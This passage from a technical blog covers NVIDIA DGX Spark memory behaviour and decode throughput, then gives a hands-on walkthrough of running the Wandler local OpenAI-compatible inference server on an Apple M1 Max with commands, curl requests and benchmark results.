And yes, Ultra also belongs in this story. NVIDIA released **Nemotron 3 Ultra** on June 4, 2026 as a 550B-total / 55B-active MoE model, and NVIDIA's own model page says it was pretrained in NVFP4 and ships a post-trained NVFP4-quantized checkpoint. I would not frame Ultra as "the Spark model" the way Super is; it is much larger and points more naturally at multi-GPU/datacenter Blackwell. But it proves the bigger point: NVFP4 is not just a Spark feature. NVIDIA is building the Nemotron model family and the Blackwell hardware stack around it.

Same model in BF16 = 240 GB and unloadable. Same model in NVFP4 = roughly 60 GB and runs at ~38 tok/s decode *[NVIDIA published, NVFP4 build via NIM / TensorRT-LLM path](https://build.nvidia.com/spark/nvfp4-quantization)*. The same architecture as Ollama's Q4_K_M GGUF runs at **19.5 tok/s** decode on my Spark *[measured 2026-05-21]* - different inference engine, different quant, different artifact. Both numbers are correct for what they describe; treat them as different products. **The pitch is the same either way: a frontier MoE that wouldn't fit on a 5090, running usefully on a desk machine.**

The footnote: NVFP4 wins for inference. Training is a different story (gradients need higher precision in the backward pass), and on Spark today BF16 can actually train faster than NVFP4 at nanochat scale. We cover that paradox in the quantization deep dive.

---

![Diagram 5: NVFP4 block structure](/img/blog/day-3-the-dgx-spark-unpacked-gb10-unified-memory-sm-121-and-the-one-reason-this-hardware-exists/d3-5-nvfp4-blocks.png)

---

## How to read memory state on a Spark (the right way)

If you've used a B200 or any other GPU with separate VRAM, your reflex is to `nvidia-smi` to see GPU memory usage. **That reflex is wrong on a Spark.**

Try it:

```bash
$ nvidia-smi --query-gpu=memory.total,memory.used,memory.free --format=csv
memory.total [MiB], memory.used [MiB], memory.free [MiB]
[N/A], [N/A], [N/A]
```

Yes. The GPU memory query returns N/A because there is no separate GPU memory. That trips people up constantly, but it is exactly the expected behavior on a unified-memory system: the GPU has no private pool to report.

This was the exact bug I hit in [HAMi](https://github.com/Project-HAMi/HAMi/pull/1841), and I raised a PR for it. HAMi's NVIDIA device plugin was using NVML's memory API, and on GB10 `nvmlDeviceGetMemoryInfo()` can return `ERROR_NOT_SUPPORTED` instead of a normal used/free VRAM result. That bug is fixed now: the plugin can use a preconfigured scheduling budget such as `devicePlugin.preConfiguredDeviceMemory: 131072` MiB, register the device, and continue per-pod accounting without panicking. The important lesson is still the same: this does not magically make NVML report live Spark GPU memory. It gives the scheduler a correct budget for a unified-memory device.

So the general Spark rule is:
- Use `deviceQuery` for static GPU facts: name, compute capability, SM count, CUDA cores, clocks, bus width, and total global memory.
- Use `free -h` for live memory availability.
- Treat NVML/nvidia-smi memory used/free as unsupported on this architecture unless a specific tool documents its own fallback.

Use `free -h` instead, and **read the `available` column, not `free`:**

```bash
$ free -h
               total used free shared buff/cache available
Mem: 120Gi 47Gi 62Gi 1.0Gi 10Gi 72Gi
Swap: 0B 0B 0B
```

`available` accounts for the page cache and tells you what you actually have to work with. In this snapshot, 72 GiB is available for new workloads.

The other thing to watch: **swap should stay at 0 during inference**. If swap starts climbing during a model run, the system is paging weights to disk and your tok/s will crash. Spark's swap is on the same NVMe as everything else, which makes the death spiral worse. The fix is to lower `--gpu-memory-utilization` or pick a smaller model.

---

![Diagram 6: free -h on Spark, what each column means](/img/blog/day-3-the-dgx-spark-unpacked-gb10-unified-memory-sm-121-and-the-one-reason-this-hardware-exists/d3-6-free-h.png)

---

## The 273 GB/s decode envelope (the number you should memorize)

In Day 2 we said decode is memory-bandwidth-bound, and the theoretical maximum decode tok/s is `bandwidth / model_size_in_bytes`. Today let's put real model sizes against the 273 GB/s number to see the practical envelope on a Spark.

| Model | Resident size | Bytes per token | Theoretical max | Measured | Source |
|---|---|---|---|---|---|
| llama 3.1 8B Q4 | 4.5 GB | 4.5 GB (dense) | ~60 | 38 | Ollama official |
| GPT-OSS 20B MXFP4 | 13 GB | ~3.6 GB (4/32 experts) | ~75 | 58 | Ollama official |
| deepseek-r1 14B Q4 | 8 GB | 8 GB (dense) | ~34 | 20 | Ollama official |
| Gemma 4 26B MoE (Q4_K_M, 8/128 experts) | 15 GB | ~2.2 GB (3.8B active) | ~124 | **65.6** | my Spark, llama.cpp + CUDA |
| Qwen 3.5 35B-A3B (Q4 MoE) | 23 GB | ~1.8 GB (3B active) | ~152 | ~59 | my Spark |
| Llama 3.3 70B NVFP4 | 35 GB | 35 GB (dense) | ~7.8 | not measured here | envelope estimate |
| Nemotron 3 Super 120B-A12B (Q4 GGUF) | 86 GB on disk | ~6 GB (12B active) | ~45 | **19.5** | my Spark, Ollama |
| Nemotron 3 Super 120B-A12B NVFP4 | ~60 GB | ~6 GB (12B active) | ~45 | ~38 | NVIDIA published (NIM / TRT-LLM) |

A couple of things to notice.

The Mixture-of-Experts (MoE) models beat their dense-model bandwidth limits. That's because in an MoE **only the active parameters are read per token**: Qwen 3.5 35B-A3B has 35B total but only 3B active per token, so the effective decode size is closer to 3B at ~2 GB, giving ~152 tok/s theoretical. The measured ~59 tok/s shows the gap from ideal - KV cache reads, routing overhead, kernel fusion limits. **MoE is Spark's superpower.** The leaderboard post later in the series unpacks this fully.

The dense 70B in NVFP4 is right at the theoretical floor: single-digit tok/s for a 35 GB read at 273 GB/s. Dense 70B on Spark is genuinely hard and probably not the right tool unless you really need it.

The Nemotron 3 Super row shows the engine/format gap clearly: 19.5 tok/s on Ollama's Q4_K_M GGUF *[my measurement]* vs ~38 tok/s on NVIDIA's NVFP4 build *[NVIDIA published]*. Same weights, different artifacts, different kernels. Always check which inference engine + quant a benchmark used before comparing.

---

![Diagram 7: Decode envelope on Spark, by model and format](/img/blog/day-3-the-dgx-spark-unpacked-gb10-unified-memory-sm-121-and-the-one-reason-this-hardware-exists/d3-7-decode-envelope.png)

---

## The full picture in one paragraph

The DGX Spark is a single-package design where a Grace ARM CPU and a Blackwell consumer GPU share one 128 GB pool of LPDDR5x memory at 273 GB/s. The GPU is `sm_121`, which is a different instruction set from datacenter Blackwell's `sm_100` and frequently the last variant to get prebuilt library support. The headline hardware feature is native NVFP4 tensor cores, which let frontier-class models compress to a quarter of their BF16 size while keeping near-FP8 quality. The hardware's pitch is not "fast tok/s" (memory bandwidth caps decode at the speed you'd expect from a desktop chip) but rather "**a 120-billion parameter model runs at usable speeds on your desk** and you can develop against it without renting cloud GPUs."

That's the box.

---

![Diagram 8: The whole story in one picture](/img/blog/day-3-the-dgx-spark-unpacked-gb10-unified-memory-sm-121-and-the-one-reason-this-hardware-exists/d3-8-whole-story.png)

---

## What's coming next

In the next post we go deep on quantization. We've used NVFP4 as the running example here, but there is a full menu of precision and quantization choices: BF16, FP8, MXFP4, NVFP4, INT4-style formats, and GGUF formats such as Q4_K_M and IQ3_XXS. The goal is practical: when to use which format, what it costs in quality, what it buys in speed on a Spark, and why BF16 can sometimes be the better choice for small training workloads even though NVFP4 wins the inference story.

See you in the next post.

---

*References for this post: my own captured deviceQuery output on this Spark (2026-05-08), [NVIDIA DGX Spark specifications](https://www.nvidia.com/en-us/products/workstations/dgx-spark/), [NVIDIA DGX Spark User Guide](https://docs.nvidia.com/dgx/dgx-spark/), [Arm Learning Path for GB10 system readiness](https://learn.arm.com/learning-paths/laptops-and-desktops/dgx_spark_llamacpp/1a_gb10_setup/), [NVIDIA CUDA GPU compute capability table](https://developer.nvidia.com/cuda/gpus), [NVIDIA CUDA Programming Guide: Unified and System Memory](https://docs.nvidia.com/cuda/cuda-programming-guide/02-basics/understanding-memory.html), [NVIDIA NVFP4 technical blog](https://developer.nvidia.com/blog/introducing-nvfp4-for-efficient-and-accurate-low-precision-inference/), [NVIDIA Nemotron 3 family](https://research.nvidia.com/labs/nemotron/Nemotron-3/), [NVIDIA Nemotron 3 Ultra](https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/), [NVIDIA Nemotron 3 Super technical blog](https://developer.nvidia.com/blog/introducing-nemotron-3-super-an-open-hybrid-mamba-transformer-moe-for-agentic-reasoning/), [Ollama: NVIDIA DGX Spark performance](https://ollama.com/blog/nvidia-spark-performance), [build.nvidia.com/spark/nvfp4-quantization](https://build.nvidia.com/spark/nvfp4-quantization), [NVIDIA and Microsoft RTX Spark announcement](https://nvidianews.nvidia.com/news/nvidia-microsoft-windows-pcs-agents-rtx-spark), [Project-HAMi PR #1841](https://github.com/Project-HAMi/HAMi/pull/1841).*

---

# Wandler: Local OpenAI-Compatible Inference With Transformers.js and WebGPU

- Canonical: https://blog.kubesimplify.com/wandler-local-openai-compatible-inference-transformersjs-webgpu
- Published: 2026-06-03
- Summary: A practical Wandler deep dive with a local M1 Max WebGPU demo, real latency numbers, architecture diagrams, and getting-started commands.

Wandler is a small but very interesting project from Runpod Labs: it runs open-weight ONNX models locally and exposes them through an OpenAI-compatible HTTP API. In plain English, it tries to give you the local-model experience of tools like llama.cpp, but in a TypeScript and Transformers.js stack.

That means you can point an OpenAI SDK, an agent framework, a curl command, or a small app at `http://127.0.0.1:8000/v1` and talk to a model running on your own machine. No Python environment. No CUDA requirement. No special OpenAI-specific client code.

I researched the repo, read through the server implementation, and ran it end to end on my local **Apple M1 Max with 64 GB unified memory**. The short version: explicit `--device webgpu` worked here. Wandler loaded a 350M parameter LFM model through Transformers.js and ONNX Runtime, created a WebGPU context on Apple hardware, and served real `/v1/chat/completions` traffic. I also ran the larger Gemma 4 E4B ONNX q4 entry with the Wandler backend and captured the actual request output below.

---

## Quick Take

Wandler is useful if you want:

- A local server that feels like an OpenAI-compatible API.
- A TypeScript-native inference stack instead of a Python server.
- A way to run Transformers.js-compatible ONNX models on `webgpu`, `cpu`, or `wasm`.
- A quick local endpoint for agents, prototypes, RAG experiments, and SDK demos.
- Basic observability through `/health` and `/admin/metrics`.

The tradeoff is that model compatibility depends on Transformers.js-compatible ONNX exports. This is not the same model universe as GGUF/llama.cpp. If your favorite model only ships as GGUF, Wandler is probably not the first tool you reach for. If it ships as an ONNX export that Transformers.js understands, Wandler becomes very convenient.

---

## What Wandler Is

The Wandler README describes it as an "OpenAI-compatible inference server powered by transformers.js" that can run ONNX models locally with WebGPU acceleration or CPU, with no Python or CUDA required. The repo quickstart is as simple as:

```bash
npx wandler --llm onnx-community/gemma-4-E4B-it-ONNX:q4
```

The public site says the server binds to `http://127.0.0.1:8000` by default and exposes an OpenAI-compatible API. The same page lists `auto`, `webgpu`, `cpu`, and `wasm` as the main device options, and the GitHub README includes a wider CLI surface in the current source, including `cuda`, `coreml`, and `dml` as recognized device names.

At a high level, Wandler is made of four layers:

1. A CLI that parses model, device, dtype, cache, auth, and server flags.
2. A Hono HTTP server that exposes OpenAI-style routes.
3. A model manager that loads tokenizers, processors, ONNX models, embeddings, and STT pipelines.
4. A backend layer that calls Transformers.js directly or uses Wandler's extra generation path.

![Wandler architecture](/img/blog/wandler-local-openai-compatible-inference-transformersjs-webgpu/01-wandler-architecture.svg)

The most important design decision is compatibility. Wandler does not ask client apps to learn a new protocol. It implements familiar routes like:

- `POST /v1/chat/completions`
- `POST /v1/responses`
- `POST /v1/completions`
- `POST /v1/embeddings`
- `POST /v1/audio/transcriptions`
- `GET /v1/models`
- `GET /health`
- `GET /admin/metrics`

That gives you a local endpoint you can swap into the OpenAI SDK:

```ts
import OpenAI from "openai";

const client = new OpenAI({
  baseURL: "http://127.0.0.1:8000/v1",
  apiKey: "-",
});

const stream = await client.chat.completions.create({
  model: "LiquidAI/LFM2.5-350M-ONNX",
  messages: [{ role: "user", content: "Hello from my laptop." }],
  stream: true,
});

for await (const chunk of stream) {
  process.stdout.write(chunk.choices[0]?.delta?.content ?? "");
}
```

For app developers, that is the magic: your client code can look almost exactly like hosted inference, while the model is running locally.

---

## Why Transformers.js And ONNX Matter

Transformers.js is Hugging Face's JavaScript inference library. It can run models in the browser and in Node.js, and it supports ONNX-backed execution. The WebGPU guide from Hugging Face explains the basic idea: enabling WebGPU acceleration can be as simple as setting `device: "webgpu"` when loading a model.

Wandler builds on that idea and turns it into a server.

Instead of writing this yourself:

```ts
const model = await AutoModelForCausalLM.from_pretrained(modelId, {
  dtype: "q4",
  device: "webgpu",
});
```

you run:

```bash
npx wandler --llm LiquidAI/LFM2.5-350M-ONNX:q4 --device webgpu
```

Then Wandler handles:

- Loading the tokenizer.
- Loading the ONNX model.
- Choosing the dtype.
- Configuring the Hugging Face cache directory.
- Setting up the HTTP server.
- Translating OpenAI-style request parameters into Transformers.js generation options.
- Tracking request metrics.
- Streaming chunks back over SSE when requested.

This is the practical gap Wandler fills. Transformers.js gives you the inference engine. Wandler gives you a local OpenAI-shaped server around it.

---

## How A Chat Request Works

The server path is easy to understand once you trace a single request.

![Wandler request lifecycle](/img/blog/wandler-local-openai-compatible-inference-transformersjs-webgpu/02-request-lifecycle.svg)

First, the request hits a Hono route like `/v1/chat/completions`. Wandler injects the loaded config, model references, and backend into the request context. If `--api-key` or `WANDLER_API_KEY` is set, it applies bearer auth to `/v1/*`, `/admin/*`, `/tokenize`, and `/detokenize`.

Next, a request limiter controls concurrency. The default is `--max-concurrent 1`, which is conservative and sensible for local generation. If too many requests pile up, Wandler can return a server-overloaded response instead of letting the machine spiral.

Then Wandler formats the messages into the model's chat template. This matters because models do not all use the same chat framing. Some have a tokenizer-provided template. Some repos expose a `chat_template.jinja`. Wandler tries to use the right template so the final prompt looks like the model expects.

After formatting, it tokenizes the prompt and checks context length. If the loaded model exposes `max_position_embeddings`, Wandler uses that as the default ceiling unless the operator sets `--max-tokens`.

Then generation starts. This is where Wandler has two backend modes:

- `--backend transformersjs` calls the direct Transformers.js `generate()` path.
- `--backend wandler` uses Wandler's serving layer, including prefill chunking, prefix-cache behavior, generation profiling, and tool-call parsing.

For the demos below, I used `--backend wandler` explicitly. It is also the default backend in Wandler 2.6.4, but spelling it out makes the command easier to reproduce and avoids confusion when comparing against `--backend transformersjs`.

In the Wandler backend, long prompts can be chunked during prefill. This exists because large prompts can create big attention-score tensors, especially on GPU paths. Wandler's default `--prefill-chunk-size auto` uses a GPU attention budget, and the public site describes this as a 640 MB default. You can tune it with `auto:<mb>` or turn it off with `0` or `off`.

Wandler also has a prefix KV cache. For agent-like traffic, many requests reuse a long system prompt, instruction block, or tool schema. Caching that prefix can avoid recomputing the same prompt prefix every turn. The defaults are:

```bash
--prefix-cache true
--prefix-cache-entries 2
--prefix-cache-min-tokens 512
```

Finally, Wandler returns either a normal JSON response or streaming SSE chunks. It records prompt tokens, completion tokens, latency, memory snapshots, and a generation profile that appears in `/admin/metrics`.

---

## The WebGPU Question

The question I had going in was the right one: can we actually test WebGPU on a Mac?

For this project, WebGPU is not just "a browser thing." Wandler is running in Node.js. Transformers.js and ONNX Runtime provide the model execution path. When you pass:

```bash
--device webgpu
```

Wandler asks Transformers.js to load the model using WebGPU. On my M1 Max, explicit `webgpu` worked.

I verified this in two ways:

1. The `/health` endpoint reported `"device":"webgpu"`.
2. With `--log-level debug`, ONNX Runtime logged Apple hardware discovery and WebGPU execution-provider context creation.

The debug run also showed a normal-looking caveat: some nodes were assigned to CPU. ONNX Runtime printed a warning that some nodes were not assigned to the preferred provider and mentioned shape-related ops as an example. That is not automatically a failure. It means the graph can be split, with heavy operations using WebGPU and helper or shape operations running on CPU.

The important local result: this was not a silent CPU-only fallback. Explicit `--device webgpu` loaded and served requests.

---

## Getting Started

You need Node.js 20 or newer. I tested with Node v22.5.1.

Install globally:

```bash
npm install -g wandler
```

Or use `npx`:

```bash
npx wandler --version
```

My result:

```text
2.6.4
```

List the verified model catalog:

```bash
npx wandler model ls
```

My catalog output looked like this:

```text
type      | size  | prec | capabilities             | repo:precision                                   | name
------------------------------------------------------------------------------------------------------------------------
embedding | 22M   | q8   | embedding                | Xenova/all-MiniLM-L6-v2:q8                       | all-MiniLM-L6-v2
embedding | 33M   | q8   | embedding                | Xenova/bge-small-en-v1.5:q8                      | BGE Small EN v1.5
llm       | 2B    | q4   | chat, tool-calling, vision | onnx-community/gemma-4-E2B-it-ONNX:q4            | Gemma 4 E2B
llm       | 2B    | q4   | chat, tool-calling, vision | onnx-community/gemma-4-E4B-it-ONNX:q4            | Gemma 4 E4B
llm       | 1.2B  | q4   | chat, tool-calling       | LiquidAI/LFM2.5-1.2B-Instruct-ONNX:q4            | LFM 2.5 1.2B
llm       | 350M  | q4   | chat, tool-calling       | LiquidAI/LFM2.5-350M-ONNX:q4                     | LFM 2.5 350M
embedding | 137M  | q8   | embedding                | nomic-ai/nomic-embed-text-v1.5:q8                | Nomic Embed Text v1.5
llm       | 0.8B  | q4   | chat, tool-calling       | onnx-community/Qwen3.5-0.8B-Text-ONNX:q4         | Qwen 3.5 0.8B
llm       | 1.7B  | q4   | chat                     | HuggingFaceTB/SmolLM2-1.7B-Instruct:q4           | SmolLM2 1.7B
stt       | 74M   | q4   | transcription            | onnx-community/whisper-base:q4                   | Whisper Base
stt       | 244M  | q4   | transcription            | onnx-community/whisper-small:q4                  | Whisper Small
stt       | 39M   | q4   | transcription            | onnx-community/whisper-tiny:q4                   | Whisper Tiny

12 model(s) found. Use the repo:precision value with --llm, --embedding, or --stt.
```

For a first local run, I recommend the 350M model:

```bash
npx --yes wandler@latest \
  --llm LiquidAI/LFM2.5-350M-ONNX:q4 \
  --device webgpu \
  --backend wandler \
  --host 127.0.0.1 \
  --port 8123 \
  --max-tokens 128 \
  --log-level info \
  --warmup-tokens 64 \
  --warmup-max-new-tokens 8
```

Use `--device cpu` if WebGPU does not work on your machine:

```bash
npx --yes wandler@latest \
  --llm LiquidAI/LFM2.5-350M-ONNX:q4 \
  --device cpu \
  --backend wandler
```

Use `--device auto` if you want Wandler to try its fallback path:

```bash
npx --yes wandler@latest \
  --llm LiquidAI/LFM2.5-350M-ONNX:q4 \
  --device auto \
  --backend wandler
```

---

## My End-To-End Demo On M1 Max

Here is the exact environment I used on June 3, 2026:

| Item | Value |
|---|---|
| Machine | Apple M1 Max |
| Memory | 64 GB unified memory |
| Architecture | arm64 |
| macOS | 26.2 |
| Node | v22.5.1 |
| npm | 10.8.2 |
| Wandler | 2.6.4 |
| Model | `LiquidAI/LFM2.5-350M-ONNX:q4` |
| Backend | `wandler` |
| Device | `webgpu` |

![Local Wandler demo results](/img/blog/wandler-local-openai-compatible-inference-transformersjs-webgpu/03-local-demo-results.svg)

The first debug run was useful for proof:

```text
[wandler] Loading LLM: LiquidAI/LFM2.5-350M-ONNX (q4, device=webgpu)
[wandler] Model context: 128000 tokens
[wandler] Model vocab: 65536 tokens
[wandler] Model attention heads: 16
[wandler] num_logits_to_keep input detected; patched sessions: model
[wandler] LLM ready in 29.6s
[wandler] Warmup completed in 2150ms (139 prompt tokens)
[wandler] http://127.0.0.1:8123
```

That first run included package startup, cache/model work, and debug logging. After the model was cached, the normal `info` run was much cleaner:

```text
[wandler] LLM ready in 2.4s
[wandler] Warmup completed in 205ms (139 prompt tokens)
[wandler] http://127.0.0.1:8123
[wandler] LLM: LiquidAI/LFM2.5-350M-ONNX (q4, webgpu)
[wandler] Cache: /Users/saiyam/.cache/huggingface
```

Health check:

```bash
curl -sS http://127.0.0.1:8123/health
```

Response:

```json
{
  "status": "ok",
  "engine": "transformers.js",
  "backend": "wandler",
  "device": "webgpu",
  "models": {
    "llm": "LiquidAI/LFM2.5-350M-ONNX"
  }
}
```

A non-streaming chat request:

```bash
curl -sS http://127.0.0.1:8123/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "LiquidAI/LFM2.5-350M-ONNX",
    "messages": [
      {
        "role": "user",
        "content": "Given these facts: Wandler is a TypeScript server; it runs ONNX models through Transformers.js; it exposes OpenAI-compatible HTTP endpoints. Rewrite the facts as three short bullets. Do not add new claims."
      }
    ],
    "temperature": 0,
    "max_tokens": 80,
    "stream": false
  }'
```

Representative response:

```json
{
  "model": "LiquidAI/LFM2.5-350M-ONNX",
  "choices": [
    {
      "message": {
        "role": "assistant",
        "content": "- Wandler is a TypeScript server for ONNX models via Transformers.js\n- Wandler exposes OpenAI-compatible HTTP endpoints\n- Wandler uses Transformers.js to enable ONNX model integration"
      },
      "finish_reason": "stop"
    }
  ],
  "usage": {
    "prompt_tokens": 58,
    "completion_tokens": 45,
    "total_tokens": 103
  }
}
```

A streaming request:

```bash
curl -N -sS http://127.0.0.1:8123/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "LiquidAI/LFM2.5-350M-ONNX",
    "messages": [
      {
        "role": "user",
        "content": "Write one sentence about why local inference is useful for prototyping."
      }
    ],
    "temperature": 0.2,
    "max_tokens": 48,
    "stream": true,
    "stream_options": { "include_usage": true }
  }'
```

The stream emitted OpenAI-style SSE chunks:

```text
data: {"choices":[{"delta":{"role":"assistant"},"finish_reason":null}]}
data: {"choices":[{"delta":{"content":"Local "},"finish_reason":null}]}
data: {"choices":[{"delta":{"content":"inference "},"finish_reason":null}]}
...
data: {"choices":[{"delta":{},"finish_reason":"stop"}],"usage":{"prompt_tokens":23,"completion_tokens":18,"total_tokens":41}}
data: [DONE]
```

The streaming request completed in `0.459354s` from curl's point of view. Wandler's own metrics recorded `455ms` server total time.

---

## Local Benchmark Results

For a small repeated test, I ran the same non-streaming request five times against the already-warm server.

| Run | Total ms | Completion tokens | Approx tok/s |
|---:|---:|---:|---:|
| 1 | 590 | 45 | 76.3 |
| 2 | 305 | 45 | 147.5 |
| 3 | 315 | 45 | 142.9 |
| 4 | 367 | 45 | 122.6 |
| 5 | 471 | 45 | 95.5 |

Average:

| Metric | Value |
|---|---:|
| Average total latency | 410 ms |
| Average decode throughput | 117 tok/s |
| Server metrics average latency after test | 400 ms |
| RSS memory after test | 738 MB |
| Total errors | 0 |

This is not a universal benchmark. It is one small model, one prompt shape, one local machine, and one execution mode. But it is enough to prove the full loop:

```text
OpenAI-shaped client request
-> Wandler HTTP server
-> Transformers.js
-> ONNX Runtime WebGPU
-> local Apple GPU
-> OpenAI-shaped response
```

The 350M model is also not the model you choose for final answer quality. It is a great first demo model because it loads fast, uses modest memory, and makes it easy to validate the stack. For better answers, try the 1.2B LFM model or one of the verified Qwen/Gemma entries.

---

## Bonus: Running Gemma 4 E4B On The Same Mac

After validating the lightweight path, I also ran the Gemma entry from the verified model catalog:

```bash
npx --yes wandler@latest \
  --llm onnx-community/gemma-4-E4B-it-ONNX:q4 \
  --device webgpu \
  --host 127.0.0.1 \
  --port 8124 \
  --max-tokens 128 \
  --log-level info \
  --backend wandler
```

This command is also the download command. On first run, Wandler pulls the model files into the Hugging Face cache. On my machine the Gemma cache path was:

```text
/Users/saiyam/.cache/huggingface/onnx-community/gemma-4-E4B-it-ONNX
```

The main q4 model files in that folder included:

```text
onnx/audio_encoder_q4.onnx
onnx/audio_encoder_q4.onnx_data
onnx/decoder_model_merged_q4.onnx
onnx/decoder_model_merged_q4.onnx_data
onnx/decoder_model_merged_q4.onnx_data_1
onnx/embed_tokens_q4.onnx
onnx/embed_tokens_q4.onnx_data
onnx/embed_tokens_q4.onnx_data_1
onnx/vision_encoder_q4.onnx
onnx/vision_encoder_q4.onnx_data
tokenizer.json
config.json
```

With the model already downloaded, the server output looked like this:

```text
[wandler] Loaded as vision model (device=webgpu)
[wandler] Model context: 131072 tokens
[wandler] Model vocab: 262144 tokens
[wandler] Model attention heads: 8
[wandler] num_logits_to_keep input detected; patched sessions: decoder_model_merged
[wandler] LLM ready in 40.3s
[wandler] http://127.0.0.1:8124
[wandler] LLM: onnx-community/gemma-4-E4B-it-ONNX (q4, webgpu)
[wandler] Cache: /Users/saiyam/.cache/huggingface
```

Health check:

```bash
curl -sS http://127.0.0.1:8124/health
```

Response:

```json
{
  "status": "ok",
  "engine": "transformers.js",
  "backend": "wandler",
  "device": "webgpu",
  "models": {
    "llm": "onnx-community/gemma-4-E4B-it-ONNX"
  }
}
```

That answers the backend question directly: yes, this Gemma run was tested with the Wandler backend, and `/health` reported `"backend":"wandler"` and `"device":"webgpu"`.

Here is the short request I used:

```bash
curl -sS -w '\n--- curl_total_s=%{time_total} ---\n' \
  http://127.0.0.1:8124/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "gemma-4-E4B-it-ONNX:q4",
    "messages": [
      {
        "role": "user",
        "content": "Given these facts: Wandler is a TypeScript server; it runs ONNX models through Transformers.js; it exposes OpenAI-compatible HTTP endpoints. Rewrite the facts as three short bullets. Do not add new claims."
      }
    ],
    "temperature": 0,
    "max_tokens": 80,
    "stream": false
  }'
```

Response:

```text
{
  "id": "chatcmpl-wlm04yel1a8",
  "object": "chat.completion",
  "model": "onnx-community/gemma-4-E4B-it-ONNX",
  "choices": [
    {
      "index": 0,
      "message": {
        "role": "assistant",
        "content": "* TypeScript server.\n* Runs ONNX models via Transformers.js.\n* Exposes OpenAI-compatible HTTP endpoints."
      },
      "finish_reason": "stop"
    }
  ],
  "usage": {
    "prompt_tokens": 52,
    "completion_tokens": 26,
    "total_tokens": 78
  }
}
--- curl_total_s=3.367448 ---
```

The server-side profile for that request was:

```text
promptTokens=52 completionTokens=26 generateMs=3359 totalMs=3365 memAfterGenerate=rss=3189MB
```

Approximate decode throughput for that short response:

```text
26 completion tokens / 3.359 seconds = 7.7 tok/s
```

For a better token-per-second sample, increase `max_tokens` and use a prompt that is likely to keep generating. I used this:

```bash
curl -sS -w '\n--- curl_total_s=%{time_total} ---\n' \
  http://127.0.0.1:8124/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "gemma-4-E4B-it-ONNX:q4",
    "messages": [
      {
        "role": "user",
        "content": "Using only these facts, write a 12-item numbered checklist. Facts: Wandler runs as an npm/npx TypeScript server. It serves OpenAI-compatible HTTP routes. Use npx wandler model ls to list verified models. Start the Gemma model with --llm onnx-community/gemma-4-E4B-it-ONNX:q4. Use --device webgpu on this Mac. Use --backend wandler. The server URL in this demo is http://127.0.0.1:8124. Check readiness with /health. Send chat requests to /v1/chat/completions. Read profiles from /admin/metrics. Models are cached under /Users/saiyam/.cache/huggingface. Do not mention Python, pip, CUDA, or API keys."
      }
    ],
    "temperature": 0,
    "max_tokens": 256,
    "stream": false
  }'
```

That run produced 128 completion tokens and completed in `14.972033s` from curl's point of view. Wandler's `/admin/metrics` recorded:

| Metric | Value |
|---|---:|
| Prompt tokens | 184 |
| Completion tokens | 128 |
| Server total time | 14,964 ms |
| Generate time | 14,944 ms |
| Approx decode throughput | 8.6 tok/s |
| RSS after generate | 3319 MB |

Gemma is much heavier than the 350M LFM demo model. On this machine, the tradeoff was obvious: better model family and larger context, but much slower local generation.

---

## Adding Embeddings And Speech-To-Text

Wandler can load multiple model types in one server process:

```bash
npx --yes wandler@latest \
  --llm LiquidAI/LFM2.5-350M-ONNX:q4 \
  --embedding Xenova/all-MiniLM-L6-v2:q8 \
  --stt onnx-community/whisper-tiny:q4 \
  --device webgpu \
  --backend wandler \
  --port 8123
```

Then embeddings are available at:

```bash
curl -sS http://127.0.0.1:8123/v1/embeddings \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "Xenova/all-MiniLM-L6-v2",
    "input": "Wandler makes local inference feel like an OpenAI endpoint."
  }'
```

Speech-to-text is exposed at:

```bash
curl -sS http://127.0.0.1:8123/v1/audio/transcriptions \
  -F model=onnx-community/whisper-tiny \
  -F file=@sample.wav
```

I also tested STT with a real WhatsApp voice note. I ran Whisper Tiny on a separate port:

```bash
npx --yes wandler@latest \
  --stt onnx-community/whisper-tiny:q4 \
  --host 127.0.0.1 \
  --port 8125 \
  --log-level info \
  --backend wandler
```

Startup output:

```text
[wandler] Loading STT: onnx-community/whisper-tiny (q4)
[wandler] STT ready in 4.1s
[wandler] http://127.0.0.1:8125
[wandler] STT: onnx-community/whisper-tiny (q4)
[wandler] Cache: /Users/saiyam/.cache/huggingface
```

Directly uploading the original WhatsApp `.opus` file did not work because the route expects float32 audio samples, not an Opus container:

```json
{"error":{"message":"byte length of Float32Array should be a multiple of 4","type":"server_error","param":null,"code":null}}
```

Converting to a WAV container made the byte length valid, but the transcription came back as a long string of exclamation marks. The version that worked was raw 16 kHz mono float32 PCM:

```bash
ffmpeg -y \
  -i '/Users/saiyam/Downloads/WhatsApp Audio 2026-06-04 at 07.09.08.opus' \
  -ar 16000 \
  -ac 1 \
  -f f32le \
  /Users/saiyam/git/website/tmp/wandler-demo/whatsapp-audio-16000-f32.raw
```

Then:

```bash
curl -sS -w '\n--- curl_total_s=%{time_total} ---\n' \
  http://127.0.0.1:8125/v1/audio/transcriptions \
  -F model=onnx-community/whisper-tiny \
  -F file=@/Users/saiyam/git/website/tmp/wandler-demo/whatsapp-audio-16000-f32.raw
```

Response:

```text
{"text":"Hello and welcome to one learn local open AI compatible inference with transformer.js and web GPU"}
--- curl_total_s=0.477190 ---
```

So STT works locally too, but the input format matters. For this route, raw float32 PCM was the reliable path in my test.

---

## Useful Flags

These are the flags I would actually keep close:

| Flag | Why it matters |
|---|---|
| `--llm org/repo:precision` | Loads the LLM model and dtype. Example: `LiquidAI/LFM2.5-350M-ONNX:q4`. |
| `--device webgpu` | Forces WebGPU. Use this when you want proof instead of silent fallback. |
| `--device auto` | Lets Wandler try supported devices and fall back. |
| `--backend wandler` | Uses Wandler's serving layer. This is the default. |
| `--backend transformersjs` | Uses the direct Transformers.js baseline. Useful for comparing behavior. |
| `--max-concurrent 1` | Keeps local generation serialized. Increase only if your model/device can handle it. |
| `--api-key local-key` | Adds bearer auth to API routes. Useful if binding beyond localhost. |
| `--cache-dir <path>` | Controls where Hugging Face model files are cached. |
| `--warmup-tokens <n>` | Runs a startup warmup so the first user request is less surprising. |
| `--prefill-chunk-size auto` | Lets Wandler avoid long-prompt GPU memory cliffs. |
| `--prefix-cache true` | Reuses repeated long prefixes across agent-like requests. |
| `--log-level debug` | Useful for WebGPU proof, but too noisy for normal serving. |

For local experimentation, I like this:

```bash
npx --yes wandler@latest \
  --llm LiquidAI/LFM2.5-350M-ONNX:q4 \
  --device webgpu \
  --backend wandler \
